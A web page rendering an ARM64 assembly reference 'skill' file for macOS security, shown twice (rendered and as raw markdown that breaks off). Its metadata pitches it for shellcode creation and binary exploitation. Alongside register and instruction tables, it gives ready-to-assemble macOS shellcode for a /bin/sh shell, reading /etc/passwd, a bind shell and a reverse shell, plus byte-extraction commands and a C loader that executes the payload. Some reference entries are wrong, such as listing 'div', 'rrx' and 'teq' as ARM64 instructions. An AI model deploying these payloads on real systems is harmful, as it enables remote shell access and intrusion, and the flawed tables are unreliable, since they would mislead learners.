ARM64 Assembly Reference for macOS Security
This skill provides comprehensive reference material for ARM64 assembly language, with a focus on macOS security, reverse engineering, and exploitation.
Exception Levels (EL)
ARMv8 defines four exception levels that control privilege and capabilities:
| Level |
Name |
Purpose |
| EL0 |
User Mode |
Regular application code, least privileged |
| EL1 |
Kernel Mode |
Operating system kernel, accessed via SVC from EL0 |
| EL2 |
Hypervisor Mode |
Virtualization, accessed via HVC from EL1 |
| EL3 |
Secure Monitor |
Secure boot/TEE (not used by modern macOS) |
Key transitions:
- EL0 → EL1:
SVC (Supervisor Call) instruction
- EL1 → EL2:
HVC (Hypervisor Call) instruction
- EL2 → EL3:
SMC (Secure Monitor Call) instruction
General-Purpose Registers
ARM64 has 31 general-purpose registers (x0-x30), each 64-bit. 32-bit operations use w0-w30.
Register Categories
| Register(s) |
Purpose |
Volatile? |
x0-x7 |
Function arguments, return value (x0) |
Yes |
x8 |
System call number (Linux) |
Yes |
x9-x15 |
Temporary/local variables |
Yes |
x16-x17 |
Intra-procedural call, syscall number on macOS |
Yes |
x18 |
Platform register (reserved on some systems) |
Yes |
x19-x28 |
Callee-saved (must preserve across calls) |
No |
x29 |
Frame pointer (fp) |
No |
x30 |
Link register (lr), holds return address |
No |
sp |
Stack pointer (must be 16-byte aligned) |
- |
pc |
Program counter (read-only via branches) |
- |
xzr/wzr |
Zero register (always reads as 0) |
- |
Special Registers
TPIDR_EL0: Thread-local storage base (readable/writable from EL0)
TPIDR_EL1: Thread-local storage (readable from EL0, writable from EL1)
Access via mrs (read) and msr (write):
mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0
msr TPIDR_EL0, x0 ; Write x0 into TPIDR_EL0
SIMD/Floating-Point Registers
32 registers of 128-bit length, accessible at different widths:
Qn: 128-bit
Dn: 64-bit
Sn: 32-bit
Hn: 16-bit
Bn: 8-bit
PSTATE (Process State)
Stored in SPSR_ELx when exceptions occur. Key fields:
| Field |
Description |
N |
Negative result flag |
Z |
Zero result flag |
C |
Carry flag |
V |
Signed overflow flag |
nRW |
Register width (0 = AArch64) |
EL |
Current exception level |
SS |
Single-stepping (debugger) |
DAIF |
Exception masking (Debug, Async, IRQ, FIQ) |
SPS |
Stack pointer select (EL1+) |
Note: Not all instructions update flags. Use cmp, tst, or instructions with s suffix (e.g., adds, subs).
Calling Convention
Parameter Passing
- First 8 parameters:
x0 through x7
- Additional parameters: Passed on stack
- Return value:
x0 (or x0+x1 for 128-bit values)
- Preserved across calls:
x19-x28, x29 (fp), x30 (lr), sp
Function Prologue
stp x29, x30, [sp, #-16]! ; Save frame pointer and link register
mov x29, sp ; Set new frame pointer
sub sp, sp, #<size> ; Allocate stack space for locals
Function Epilogue
add sp, sp, #<size> ; Deallocate stack space
ldp x29, x30, [sp], #16 ; Restore frame pointer and link register
ret ; Return to caller
Common Instructions
Data Movement
| Instruction |
Description |
Example |
mov |
Move value between registers |
mov x0, x1 |
ldr |
Load from memory |
ldr x0, [x1] |
str |
Store to memory |
str x0, [x1] |
ldp |
Load pair of registers |
ldp x0, x1, [x2] |
stp |
Store pair of registers |
stp x0, x1, [sp] |
adrp |
Compute page address |
adrp x0, symbol |
ldrsw |
Load signed 32-bit, extend to 64 |
ldrsw x0, [x1] |
Memory Addressing Modes
ldr x2, [x1, #8] ; Offset mode: x1 + 8
ldr x2, [x1, #8]! ; Pre-indexed: load x1+8, update x1
ldr x0, [x1], #8 ; Post-indexed: load x1, then x1+8
ldr x1, =_start ; PC-relative addressing
Arithmetic
| Instruction |
Description |
Example |
add/adds |
Add (with/without flags) |
add x0, x1, x2 |
sub/subs |
Subtract (with/without flags) |
sub x0, x1, x2 |
mul |
Multiply |
mul x0, x1, x2 |
div |
Divide |
div x0, x1, x2 |
Shift operations:
add x5, x5, #1, lsl #12 ; x5 + (1 << 12) = x5 + 4096
Shifts and Rotates
| Instruction |
Description |
lsl |
Logical shift left (multiply by 2^n) |
lsr |
Logical shift right (unsigned divide by 2^n) |
asr |
Arithmetic shift right (signed divide by 2^n) |
ror |
Rotate right |
rrx |
Rotate right with extend (uses carry flag) |
Bitfield Operations
| Instruction |
Description |
Example |
bfm |
Bitfield move |
BFM Xd, Xn, #r |
sbfm |
Signed bitfield move |
SBFM Xd, Xn, #r, #s |
ubfm |
Unsigned bitfield move |
UBFM Xd, Xn, #r, #s |
bfi |
Bitfield insert |
BFI X1, X2, #3, #4 |
bfxil |
Bitfield extract and insert |
BFXIL X1, X2, #3, #4 |
sbfiz |
Sign-extend and insert |
SBFIZ X1, X2, #3, #4 |
ubfiz |
Zero-extend and insert |
UBFIZ X1, X2, #3, #4 |
Sign/Zero Extension
| Instruction |
Description |
sxtb |
Sign-extend byte to 64-bit |
sxth |
Sign-extend halfword to 64-bit |
sxtw |
Sign-extend word to 64-bit |
uxtb |
Zero-extend byte to 64-bit |
uxth |
Zero-extend halfword to 64-bit |
uxtw |
Zero-extend word to 64-bit |
Comparison
| Instruction |
Description |
Example |
cmp |
Compare (alias of subs to zero) |
cmp x0, x1 |
cmn |
Compare negative (alias of adds) |
cmn x0, x1 |
ccmp |
Conditional compare |
ccmp x3, x4, 0, NE |
tst |
Test bits (AND without store) |
tst x1, #7 |
teq |
Test equality (XOR without store) |
teq x0, x1 |
Branching
| Instruction |
Description |
Example |
b |
Unconditional branch |
b myFunction |
bl |
Branch with link (call) |
bl myFunction |
blr |
Branch to register |
blr x1 |
ret |
Return from subroutine |
ret |
b.eq |
Branch if equal |
b.eq label |
b.ne |
Branch if not equal |
b.ne label |
cbz |
Compare and branch on zero |
cbz x0, label |
cbnz |
Compare and branch on non-zero |
cbnz x0, label |
tbz |
Test bit and branch on zero |
tbz x0, #8, label |
tbnz |
Test bit and branch on non-zero |
tbnz x0, #8, label |
Conditional Select
| Instruction |
Description |
Example |
csel |
Conditional select |
csel x0, x1, x2, EQ |
csinc |
Conditional select and increment |
csinc x0, x1, x2, EQ |
cinc |
Conditional increment |
cinc x0, x1, EQ |
csinv |
Conditional select and invert |
csinv x0, x1, x2, EQ |
cset |
Conditional set (0 or 1) |
cset x0, EQ |
csetm |
Conditional set mask |
csetm x0, EQ |
System Calls
mov x16, #59 ; syscall number (macOS uses x16)
svc #0x1337 ; trigger syscall (immediate doesn't matter)
macOS System Calls
BSD Syscalls
- Use
x16 > 0
- Reference:
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h
- Source: syscalls.master
Mach Traps
- Use
x16 < 0 (negative numbers)
- Maximum:
MACH_TRAP_TABLE_COUNT = 128
- Example:
_kernelrpc_mach_vm_allocate_trap = -10
- Reference: syscall_sw.c
Common Syscall Numbers
| Number |
BSD Syscall |
Description |
| 1 |
exit |
Exit process |
| 2 |
fork |
Fork process |
| 59 |
execve |
Execute program |
| 97 |
socket |
Create socket |
| 98 |
connect |
Connect socket |
| 104 |
bind |
Bind socket |
| 106 |
listen |
Listen on socket |
| 30 |
accept |
Accept connection |
| 90 |
dup |
Duplicate file descriptor |
Finding Syscall Information
# Extract libsystem_kernel.dylib from dyld cache
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
# Or check source directly
cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h
Comm Page
Kernel-owned memory page mapped into every user process for fast kernel access. Example: gettimeofday reads directly from comm page.
objc_msgSend
Objective-C/Swift message sending:
x0: self (instance pointer)
x1: selector (method name)
x2+: method arguments
Debug with LLDB:
(lldb) po $x0 # Show object
(lldb) x/s $x1 # Show selector string
(lldb) po [$x0 launchPath] # Show property
Enable logging: NSObjCMessageLoggingEnabled=1
Shellcode Examples
Basic Shell (execve /bin/sh)
.section __TEXT,__text
.global _main
.align 2
_main:
adr x0, sh_path ; Address of "/bin/sh"
mov x1, xzr ; argv[1] = NULL
mov x2, xzr ; envp = NULL
mov x16, #59 ; execve syscall
svc #0x1337
sh_path: .asciz "/bin/sh"
Shell with Stack String
.section __TEXT,__text
.global _main
.align 2
_main:
; Build "/bin/sh" in x1
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8] ; Store on stack
mov x1, #8
sub x0, sp, x1 ; x0 = address of string
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Read /etc/passwd
.section __TEXT,__text
.global _main
.align 2
_main:
sub sp, sp, #48 ; Allocate stack space
mov x1, sp ; x1 = argv array address
adr x0, cat_path
str x0, [x1] ; argv[0] = "/bin/cat"
adr x0, passwd_path
str x0, [x1, #8] ; argv[1] = "/etc/passwd"
str xzr, [x1, #16] ; argv[2] = NULL
adr x0, cat_path ; x0 = "/bin/cat"
mov x2, xzr ; envp = NULL
mov x16, #59 ; execve
svc 0
cat_path: .asciz "/bin/cat"
passwd_path: .asciz "/etc/passwd"
Bind Shell (port 4444)
.section __TEXT,__text
.global _main
.align 2
_main:
; socket(AF_INET, SOCK_STREAM, 0)
mov x16, #97
lsr x1, x16, #6 ; x1 = 1 (SOCK_STREAM)
lsl x0, x1, #1 ; x0 = 2 (AF_INET)
mov x2, xzr
svc #0x1337
mvn x3, x0 ; Save socket fd
; bind(s, &sockaddr, 16)
mov x1, #0x0210 ; sin_len=16, sin_family=2
movk x1, #0x5C11, lsl #16 ; sin_port=4444
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #104
svc #0x1337
; listen(s, 2)
mvn x0, x3
lsr x1, x2, #3 ; x1 = 2
mov x16, #106
svc #0x1337
; accept(s, 0, 0)
mvn x0, x3
mov x1, xzr
mov x2, xzr
mov x16, #30
svc #0x1337
mvn x3, x0 ; Save client fd
; dup(c, 2) -> dup(c, 1) -> dup(c, 0)
lsr x2, x16, #4 ; x2 = 2
lsl x2, x2, #2 ; x2 = 8 (loop counter)
_dup_loop:
mvn x0, x3
lsr x1, x2, #1
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne _dup_loop
; execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Reverse Shell (127.0.0.1:4444)
.section __TEXT,__text
.global _main
.align 2
_main:
; socket(AF_INET, SOCK_STREAM, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
mvn x3, x0
; connect(s, &sockaddr, 16)
mov x1, #0x0210
movk x1, #0x5C11, lsl #16 ; port 4444
movk x1, #0x007F, lsl #32 ; 127.0.0.1
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #98
svc #0x1337
; dup(s, 2) -> dup(s, 1) -> dup(s, 0)
lsr x2, x2, #2
_dup_loop:
mvn x0, x3
lsr x1, x2, #1
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne _dup_loop
; execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Building and Testing Shellcode
Compile Assembly
# Assemble
as -o shell.o shell.s
# Link (macOS)
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
# Or with xcrun
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
Extract Shellcode Bytes
# For older macOS
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\x'$c
done
# For newer macOS (byte order fix)
for s in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
Test Shellcode (C Loader)
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char shellcode[] = "<INSERT SHELLCODE HERE>";
int main() {
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ,
MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
memcpy(ptr, shellcode, sizeof(shellcode));
mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
sc = ptr;
sc();
return 0;
}
Compile: gcc loader.c -o loader
AArch32 Execution State
ARMv8 can execute 32-bit code in AArch32 state:
Instruction Sets
- A32: 32-bit ARM instructions
- T32: 16/32-bit Thumb instructions
Transition
- 64-bit → 32-bit: Lower exception level (e.g., EL1 → EL0)
- Set bit 4 of
SPSR_ELx to 1
- Use
ERET to transition
AArch32 Registers
| Register |
Purpose |
r0-r14 |
General purpose |
r11 |
Frame pointer |
r12 |
Intra-procedural call |
r13 |
Stack pointer (16-byte aligned) |
r14 |
Link register |
r15 |
Program counter |
CPSR (Current Program Status Register)
Similar to PSTATE in AArch64:
- APSR: Application flags (N, Z, C, V, Q, GE)
- J/T bits: Instruction set selection (J=0, T=0 → A32; J=0, T=1 → T32)
- E bit: Endianness
- Mode bits: Current execution mode
Tips for Reverse Engineering
- Look for prologue/epilogue patterns to identify function boundaries
- Check x16 before svc to identify syscall numbers
- Follow x0-x7 to trace function arguments
- Use x29 (fp) to navigate stack frames
- Watch x30 (lr) for return addresses
- Check for objc_msgSend in Objective-C/Swift binaries
- Use LLDB to inspect registers at breakpoints
- Reference libsystem_kernel.dylib for syscall implementations
References
1---2name: arm64-assembly-reference3description: ARM64 assembly language reference for macOS security and reverse engineering. Use this skill whenever the user asks about ARM64 assembly, registers, instructions, exception levels, calling conventions, shellcode, or macOS system calls. This includes questions about writing assembly code, understanding disassembly, creating shellcode, or working with ARM64 architecture concepts. Make sure to use this skill when users mention ARM64, aarch64, assembly, shellcode, syscalls, registers like x0-x30, or macOS binary exploitation.4metadata:5 source: https://skillmd.com/skills/abelrguezr/arm64-assembly-reference6---78# ARM64 Assembly Reference for macOS Security910This skill provides comprehensive reference material for ARM64 assembly language, with a focus on macOS security, reverse engineering, and exploitation.1112## Exception Levels (EL)1314ARMv8 defines four exception levels that control privilege and capabilities:1516| Level | Name | Purpose |17|-------|------|--------|18| **EL0** | User Mode | Regular application code, least privileged |19| **EL1** | Kernel Mode | Operating system kernel, accessed via `SVC` from EL0 |20| **EL2** | Hypervisor Mode | Virtualization, accessed via `HVC` from EL1 |21| **EL3** | Secure Monitor | Secure boot/TEE (not used by modern macOS) |2223**Key transitions:**24- EL0 → EL1: `SVC` (Supervisor Call) instruction25- EL1 → EL2: `HVC` (Hypervisor Call) instruction26- EL2 → EL3: `SMC` (Secure Monitor Call) instruction2728## General-Purpose Registers2930ARM64 has 31 general-purpose registers (`x0`-`x30`), each 64-bit. 32-bit operations use `w0`-`w30`.3132### Register Categories3334| Register(s) | Purpose | Volatile? |35|-------------|---------|----------|36| `x0`-`x7` | Function arguments, return value (`x0`) | Yes |37| `x8` | System call number (Linux) | Yes |38| `x9`-`x15` | Temporary/local variables | Yes |39| `x16`-`x17` | Intra-procedural call, **syscall number on macOS** | Yes |40| `x18` | Platform register (reserved on some systems) | Yes |41| `x19`-`x28` | Callee-saved (must preserve across calls) | No |42| `x29` | Frame pointer (`fp`) | No |43| `x30` | Link register (`lr`), holds return address | No |44| `sp` | Stack pointer (must be 16-byte aligned) | - |45| `pc` | Program counter (read-only via branches) | - |46| `xzr`/`wzr` | Zero register (always reads as 0) | - |4748### Special Registers4950- **`TPIDR_EL0`**: Thread-local storage base (readable/writable from EL0)51- **`TPIDR_EL1`**: Thread-local storage (readable from EL0, writable from EL1)5253Access via `mrs` (read) and `msr` (write):54```armasm55mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x056msr TPIDR_EL0, x0 ; Write x0 into TPIDR_EL057```5859### SIMD/Floating-Point Registers606132 registers of 128-bit length, accessible at different widths:62- `Qn`: 128-bit63- `Dn`: 64-bit64- `Sn`: 32-bit65- `Hn`: 16-bit66- `Bn`: 8-bit6768## PSTATE (Process State)6970Stored in `SPSR_ELx` when exceptions occur. Key fields:7172| Field | Description |73|-------|-------------|74| `N` | Negative result flag |75| `Z` | Zero result flag |76| `C` | Carry flag |77| `V` | Signed overflow flag |78| `nRW` | Register width (0 = AArch64) |79| `EL` | Current exception level |80| `SS` | Single-stepping (debugger) |81| `DAIF` | Exception masking (Debug, Async, IRQ, FIQ) |82| `SPS` | Stack pointer select (EL1+) |8384**Note:** Not all instructions update flags. Use `cmp`, `tst`, or instructions with `s` suffix (e.g., `adds`, `subs`).8586## Calling Convention8788### Parameter Passing89901. **First 8 parameters**: `x0` through `x7`912. **Additional parameters**: Passed on stack923. **Return value**: `x0` (or `x0`+`x1` for 128-bit values)934. **Preserved across calls**: `x19`-`x28`, `x29` (fp), `x30` (lr), `sp`9495### Function Prologue9697```armasm98stp x29, x30, [sp, #-16]! ; Save frame pointer and link register99mov x29, sp ; Set new frame pointer100sub sp, sp, #<size> ; Allocate stack space for locals101```102103### Function Epilogue104105```armasm106add sp, sp, #<size> ; Deallocate stack space107ldp x29, x30, [sp], #16 ; Restore frame pointer and link register108ret ; Return to caller109```110111## Common Instructions112113### Data Movement114115| Instruction | Description | Example |116|-------------|-------------|--------|117| `mov` | Move value between registers | `mov x0, x1` |118| `ldr` | Load from memory | `ldr x0, [x1]` |119| `str` | Store to memory | `str x0, [x1]` |120| `ldp` | Load pair of registers | `ldp x0, x1, [x2]` |121| `stp` | Store pair of registers | `stp x0, x1, [sp]` |122| `adrp` | Compute page address | `adrp x0, symbol` |123| `ldrsw` | Load signed 32-bit, extend to 64 | `ldrsw x0, [x1]` |124125### Memory Addressing Modes126127```armasm128ldr x2, [x1, #8] ; Offset mode: x1 + 8129ldr x2, [x1, #8]! ; Pre-indexed: load x1+8, update x1130ldr x0, [x1], #8 ; Post-indexed: load x1, then x1+8131ldr x1, =_start ; PC-relative addressing132```133134### Arithmetic135136| Instruction | Description | Example |137|-------------|-------------|--------|138| `add`/`adds` | Add (with/without flags) | `add x0, x1, x2` |139| `sub`/`subs` | Subtract (with/without flags) | `sub x0, x1, x2` |140| `mul` | Multiply | `mul x0, x1, x2` |141| `div` | Divide | `div x0, x1, x2` |142143**Shift operations:**144```armasm145add x5, x5, #1, lsl #12 ; x5 + (1 << 12) = x5 + 4096146```147148### Shifts and Rotates149150| Instruction | Description |151|-------------|-------------|152| `lsl` | Logical shift left (multiply by 2^n) |153| `lsr` | Logical shift right (unsigned divide by 2^n) |154| `asr` | Arithmetic shift right (signed divide by 2^n) |155| `ror` | Rotate right |156| `rrx` | Rotate right with extend (uses carry flag) |157158### Bitfield Operations159160| Instruction | Description | Example |161|-------------|-------------|--------|162| `bfm` | Bitfield move | `BFM Xd, Xn, #r` |163| `sbfm` | Signed bitfield move | `SBFM Xd, Xn, #r, #s` |164| `ubfm` | Unsigned bitfield move | `UBFM Xd, Xn, #r, #s` |165| `bfi` | Bitfield insert | `BFI X1, X2, #3, #4` |166| `bfxil` | Bitfield extract and insert | `BFXIL X1, X2, #3, #4` |167| `sbfiz` | Sign-extend and insert | `SBFIZ X1, X2, #3, #4` |168| `ubfiz` | Zero-extend and insert | `UBFIZ X1, X2, #3, #4` |169170### Sign/Zero Extension171172| Instruction | Description |173|-------------|-------------|174| `sxtb` | Sign-extend byte to 64-bit |175| `sxth` | Sign-extend halfword to 64-bit |176| `sxtw` | Sign-extend word to 64-bit |177| `uxtb` | Zero-extend byte to 64-bit |178| `uxth` | Zero-extend halfword to 64-bit |179| `uxtw` | Zero-extend word to 64-bit |180181### Comparison182183| Instruction | Description | Example |184|-------------|-------------|--------|185| `cmp` | Compare (alias of `subs` to zero) | `cmp x0, x1` |186| `cmn` | Compare negative (alias of `adds`) | `cmn x0, x1` |187| `ccmp` | Conditional compare | `ccmp x3, x4, 0, NE` |188| `tst` | Test bits (AND without store) | `tst x1, #7` |189| `teq` | Test equality (XOR without store) | `teq x0, x1` |190191### Branching192193| Instruction | Description | Example |194|-------------|-------------|--------|195| `b` | Unconditional branch | `b myFunction` |196| `bl` | Branch with link (call) | `bl myFunction` |197| `blr` | Branch to register | `blr x1` |198| `ret` | Return from subroutine | `ret` |199| `b.eq` | Branch if equal | `b.eq label` |200| `b.ne` | Branch if not equal | `b.ne label` |201| `cbz` | Compare and branch on zero | `cbz x0, label` |202| `cbnz` | Compare and branch on non-zero | `cbnz x0, label` |203| `tbz` | Test bit and branch on zero | `tbz x0, #8, label` |204| `tbnz` | Test bit and branch on non-zero | `tbnz x0, #8, label` |205206### Conditional Select207208| Instruction | Description | Example |209|-------------|-------------|--------|210| `csel` | Conditional select | `csel x0, x1, x2, EQ` |211| `csinc` | Conditional select and increment | `csinc x0, x1, x2, EQ` |212| `cinc` | Conditional increment | `cinc x0, x1, EQ` |213| `csinv` | Conditional select and invert | `csinv x0, x1, x2, EQ` |214| `cset` | Conditional set (0 or 1) | `cset x0, EQ` |215| `csetm` | Conditional set mask | `csetm x0, EQ` |216217### System Calls218219```armasm220mov x16, #59 ; syscall number (macOS uses x16)221svc #0x1337 ; trigger syscall (immediate doesn't matter)222```223224## macOS System Calls225226### BSD Syscalls227228- Use `x16 > 0`229- Reference: `/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h`230- Source: [syscalls.master](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)231232### Mach Traps233234- Use `x16 < 0` (negative numbers)235- Maximum: `MACH_TRAP_TABLE_COUNT` = 128236- Example: `_kernelrpc_mach_vm_allocate_trap` = `-10`237- Reference: [syscall_sw.c](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html)238239### Common Syscall Numbers240241| Number | BSD Syscall | Description |242|--------|-------------|-------------|243| 1 | `exit` | Exit process |244| 2 | `fork` | Fork process |245| 59 | `execve` | Execute program |246| 97 | `socket` | Create socket |247| 98 | `connect` | Connect socket |248| 104 | `bind` | Bind socket |249| 106 | `listen` | Listen on socket |250| 30 | `accept` | Accept connection |251| 90 | `dup` | Duplicate file descriptor |252253### Finding Syscall Information254255```bash256# Extract libsystem_kernel.dylib from dyld cache257dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e258259# Or check source directly260cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h261```262263### Comm Page264265Kernel-owned memory page mapped into every user process for fast kernel access. Example: `gettimeofday` reads directly from comm page.266267### objc_msgSend268269Objective-C/Swift message sending:270- `x0`: `self` (instance pointer)271- `x1`: selector (method name)272- `x2`+: method arguments273274Debug with LLDB:275```bash276(lldb) po $x0 # Show object277(lldb) x/s $x1 # Show selector string278(lldb) po [$x0 launchPath] # Show property279```280281Enable logging: `NSObjCMessageLoggingEnabled=1`282283## Shellcode Examples284285### Basic Shell (execve /bin/sh)286287```armasm288.section __TEXT,__text289.global _main290.align 2291292_main:293 adr x0, sh_path ; Address of "/bin/sh"294 mov x1, xzr ; argv[1] = NULL295 mov x2, xzr ; envp = NULL296 mov x16, #59 ; execve syscall297 svc #0x1337298299sh_path: .asciz "/bin/sh"300```301302### Shell with Stack String303304```armasm305.section __TEXT,__text306.global _main307.align 2308309_main:310 ; Build "/bin/sh" in x1311 mov x1, #0x622F312 movk x1, #0x6E69, lsl #16313 movk x1, #0x732F, lsl #32314 movk x1, #0x68, lsl #48315 316 str x1, [sp, #-8] ; Store on stack317 318 mov x1, #8319 sub x0, sp, x1 ; x0 = address of string320 mov x1, xzr321 mov x2, xzr322 mov x16, #59323 svc #0x1337324```325326### Read /etc/passwd327328```armasm329.section __TEXT,__text330.global _main331.align 2332333_main:334 sub sp, sp, #48 ; Allocate stack space335 mov x1, sp ; x1 = argv array address336 337 adr x0, cat_path338 str x0, [x1] ; argv[0] = "/bin/cat"339 340 adr x0, passwd_path341 str x0, [x1, #8] ; argv[1] = "/etc/passwd"342 str xzr, [x1, #16] ; argv[2] = NULL343 344 adr x0, cat_path ; x0 = "/bin/cat"345 mov x2, xzr ; envp = NULL346 mov x16, #59 ; execve347 svc 0348349cat_path: .asciz "/bin/cat"350passwd_path: .asciz "/etc/passwd"351```352353### Bind Shell (port 4444)354355```armasm356.section __TEXT,__text357.global _main358.align 2359360_main:361 ; socket(AF_INET, SOCK_STREAM, 0)362 mov x16, #97363 lsr x1, x16, #6 ; x1 = 1 (SOCK_STREAM)364 lsl x0, x1, #1 ; x0 = 2 (AF_INET)365 mov x2, xzr366 svc #0x1337367 mvn x3, x0 ; Save socket fd368 369 ; bind(s, &sockaddr, 16)370 mov x1, #0x0210 ; sin_len=16, sin_family=2371 movk x1, #0x5C11, lsl #16 ; sin_port=4444372 str x1, [sp, #-8]373 mov x2, #8374 sub x1, sp, x2375 mov x2, #16376 mov x16, #104377 svc #0x1337378 379 ; listen(s, 2)380 mvn x0, x3381 lsr x1, x2, #3 ; x1 = 2382 mov x16, #106383 svc #0x1337384 385 ; accept(s, 0, 0)386 mvn x0, x3387 mov x1, xzr388 mov x2, xzr389 mov x16, #30390 svc #0x1337391 mvn x3, x0 ; Save client fd392 393 ; dup(c, 2) -> dup(c, 1) -> dup(c, 0)394 lsr x2, x16, #4 ; x2 = 2395 lsl x2, x2, #2 ; x2 = 8 (loop counter)396 397_dup_loop:398 mvn x0, x3399 lsr x1, x2, #1400 mov x16, #90401 svc #0x1337402 mov x10, xzr403 cmp x10, x2404 bne _dup_loop405 406 ; execve("/bin/sh", 0, 0)407 mov x1, #0x622F408 movk x1, #0x6E69, lsl #16409 movk x1, #0x732F, lsl #32410 movk x1, #0x68, lsl #48411 str x1, [sp, #-8]412 mov x1, #8413 sub x0, sp, x1414 mov x1, xzr415 mov x2, xzr416 mov x16, #59417 svc #0x1337418```419420### Reverse Shell (127.0.0.1:4444)421422```armasm423.section __TEXT,__text424.global _main425.align 2426427_main:428 ; socket(AF_INET, SOCK_STREAM, 0)429 mov x16, #97430 lsr x1, x16, #6431 lsl x0, x1, #1432 mov x2, xzr433 svc #0x1337434 mvn x3, x0435 436 ; connect(s, &sockaddr, 16)437 mov x1, #0x0210438 movk x1, #0x5C11, lsl #16 ; port 4444439 movk x1, #0x007F, lsl #32 ; 127.0.0.1440 movk x1, #0x0100, lsl #48441 str x1, [sp, #-8]442 mov x2, #8443 sub x1, sp, x2444 mov x2, #16445 mov x16, #98446 svc #0x1337447 448 ; dup(s, 2) -> dup(s, 1) -> dup(s, 0)449 lsr x2, x2, #2450_dup_loop:451 mvn x0, x3452 lsr x1, x2, #1453 mov x16, #90454 svc #0x1337455 mov x10, xzr456 cmp x10, x2457 bne _dup_loop458 459 ; execve("/bin/sh", 0, 0)460 mov x1, #0x622F461 movk x1, #0x6E69, lsl #16462 movk x1, #0x732F, lsl #32463 movk x1, #0x68, lsl #48464 str x1, [sp, #-8]465 mov x1, #8466 sub x0, sp, x1467 mov x1, xzr468 mov x2, xzr469 mov x16, #59470 svc #0x1337471```472473## Building and Testing Shellcode474475### Compile Assembly476477```bash478# Assemble479as -o shell.o shell.s480481# Link (macOS)482ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib483484# Or with xcrun485ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem486```487488### Extract Shellcode Bytes489490```bash491# For older macOS492for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do493 echo -n '\x'$c494done495496# For newer macOS (byte order fix)497for s in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do498 echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'499done500```501502### Test Shellcode (C Loader)503504```c505#include <stdio.h>506#include <sys/mman.h>507#include <string.h>508#include <stdlib.h>509510int (*sc)();511char shellcode[] = "<INSERT SHELLCODE HERE>";512513int main() {514 void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, 515 MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);516 memcpy(ptr, shellcode, sizeof(shellcode));517 mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);518 sc = ptr;519 sc();520 return 0;521}522```523524Compile: `gcc loader.c -o loader`525526## AArch32 Execution State527528ARMv8 can execute 32-bit code in AArch32 state:529530### Instruction Sets531- **A32**: 32-bit ARM instructions532- **T32**: 16/32-bit Thumb instructions533534### Transition535- 64-bit → 32-bit: Lower exception level (e.g., EL1 → EL0)536- Set bit 4 of `SPSR_ELx` to 1537- Use `ERET` to transition538539### AArch32 Registers540541| Register | Purpose |542|----------|--------|543| `r0`-`r14` | General purpose |544| `r11` | Frame pointer |545| `r12` | Intra-procedural call |546| `r13` | Stack pointer (16-byte aligned) |547| `r14` | Link register |548| `r15` | Program counter |549550### CPSR (Current Program Status Register)551552Similar to PSTATE in AArch64:553- **APSR**: Application flags (N, Z, C, V, Q, GE)554- **J/T bits**: Instruction set selection (J=0, T=0 → A32; J=0, T=1 → T32)555- **E bit**: Endianness556- **Mode bits**: Current execution mode557558## Tips for Reverse Engineering5595601. **Look for prologue/epilogue patterns** to identify function boundaries5612. **Check x16 before svc** to identify syscall numbers5623. **Follow x0-x7** to trace function arguments5634. **Use x29 (fp)** to navigate stack frames5645. **Watch x30 (lr)** for return 